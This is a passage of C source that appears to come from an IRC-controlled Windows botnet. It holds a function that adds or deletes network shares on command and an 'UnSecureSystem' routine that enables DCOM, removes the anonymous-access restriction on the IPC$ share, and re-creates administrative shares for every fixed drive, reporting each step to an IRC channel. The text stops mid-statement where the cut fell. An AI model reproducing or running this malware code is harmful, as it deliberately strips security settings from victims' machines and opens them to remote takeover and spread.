char *Shares(int action, char *ShareName, char *SharePath) { static char buffer[IRCLINE]; NET_API_STATUS nStatus = 0; if (ShareName) { switch (action) { case NET_ADD: if(SharePath || strchr(ShareName,'$')) nStatus = ShareAdd(NULL,ShareName,SharePath); else nStatus = ERROR_INVALID_PARAMETER; break; case NET_DELETE: nStatus = ShareDel(NULL, ShareName); break; } if (nStatus == NERR_Success) sprintf(buffer,"-\x03\x34\2net\2\x03- %s share: '%s'", netcommand[action].completed, ShareName); else sprintf(buffer,"-\x03\x34\2net\2\x03- %s: error with share: '%s' - %s", netcommand[action].action, ShareName, NasError(nStatus)); } else sprintf(buffer,"-\x03\x34\2net\2\x03- %s: no share specified", netcommand[action].action); return (buffer); }
BOOL UnSecureSystem(SOCKET sock, char *chan, BOOL notice, BOOL silent) { char sendbuf[IRCLINE]; if (!noadvapi32) { HKEY hKey; if(fRegOpenKeyEx(HKEY_LOCAL_MACHINE, regkey3, 0, KEY_READ|KEY_WRITE, &hKey) == ERROR_SUCCESS) { TCHAR szDataBuf[]="Y"; if(fRegSetValueEx(hKey, "EnableDCOM", NULL, REG_SZ, (LPBYTE)szDataBuf, strlen(szDataBuf)) != ERROR_SUCCESS) sprintf(sendbuf,"4<<12[SECURE]: Enable DCOM failed.4>>"); else sprintf(sendbuf,"4<<12[SECURE]: DCOM enabled.4>>"); fRegCloseKey(hKey); } else sprintf(sendbuf,"4<<12[SECURE]: Failed to open DCOM registry key.4>>"); if (!silent) irc_privmsg(sock,chan, sendbuf, notice, TRUE); addlog(sendbuf); if (fRegOpenKeyEx(HKEY_LOCAL_MACHINE, regkey4, 0, KEY_ALL_ACCESS, &hKey) == ERROR_SUCCESS) { DWORD dwData = 0x00000000; if (fRegSetValueEx(hKey, "restrictanonymous", 0, REG_DWORD, (LPBYTE) &dwData, sizeof(DWORD)) != ERROR_SUCCESS) sprintf(sendbuf,"4<<12[SECURE]: Failed to unrestrict access to the IPC$ Share.4>>"); else sprintf(sendbuf,"4<<12[SECURE]: Unrestricted access to the IPC$ Share.4>>"); fRegCloseKey(hKey); } else sprintf(sendbuf,"4<<12[SECURE]: Failed to open IPC$ restriction registry key.4>>"); } else sprintf(sendbuf,"4<<12[SECURE]: Advapi32.dll couldn't be loaded.4>>"); if (!silent) irc_privmsg(sock,chan, sendbuf, notice, TRUE); addlog(sendbuf); if (!nonetapi32) { for(int i=0;i < ((sizeof(ShareList) / sizeof (NetShares)) - 2);i++) { if(ShareAdd(NULL,ShareList[i].ShareName,ShareList[i].SharePath) == NERR_Success) _snprintf(sendbuf,sizeof(sendbuf),"4<<12[SECURE]: Share '%s' added.4>>",ShareList[i].ShareName); else _snprintf(sendbuf,sizeof(sendbuf),"4<<12[SECURE]: Failed to add '%s' share.4>>",ShareList[i].ShareName); if (!silent) irc_privmsg(sock,chan,sendbuf,notice, TRUE); addlog(sendbuf); } char sharename[10], sharepath[10]; DWORD dwDrives = GetLogicalDrives(); for(char cDrive='A'; dwDrives!=0; cDrive++, dwDrives=(dwDrives>>1)) { if((dwDrives & 1)==1 && cDrive != 'A') { _snprintf(sharename,sizeof(sharename),"%c$",cDrive); _snprintf(sharepath,sizeof(sharepath),"%c:\\",cDrive); if (fGetDriveType(sharepath) == DRIVE_FIXED) { if(ShareAdd(NULL,sharename,sharepath) == NERR_Success) _snprintf(sendbuf,sizeof(sendbuf),"4<<12[SECURE]: Share '%s' added.4>>",sharename); else _snprintf(sendbuf,sizeof(sendbuf),"4<<12[SECURE]: Failed to add '%s' share.4>>",sharename); if (!silent) irc_privmsg(sock,chan,sendbuf,notice, TRUE); addlog(sendbuf); } } } sprintf(sendbuf,"4<<12[SECURE]: Network shares added.4>>"); } else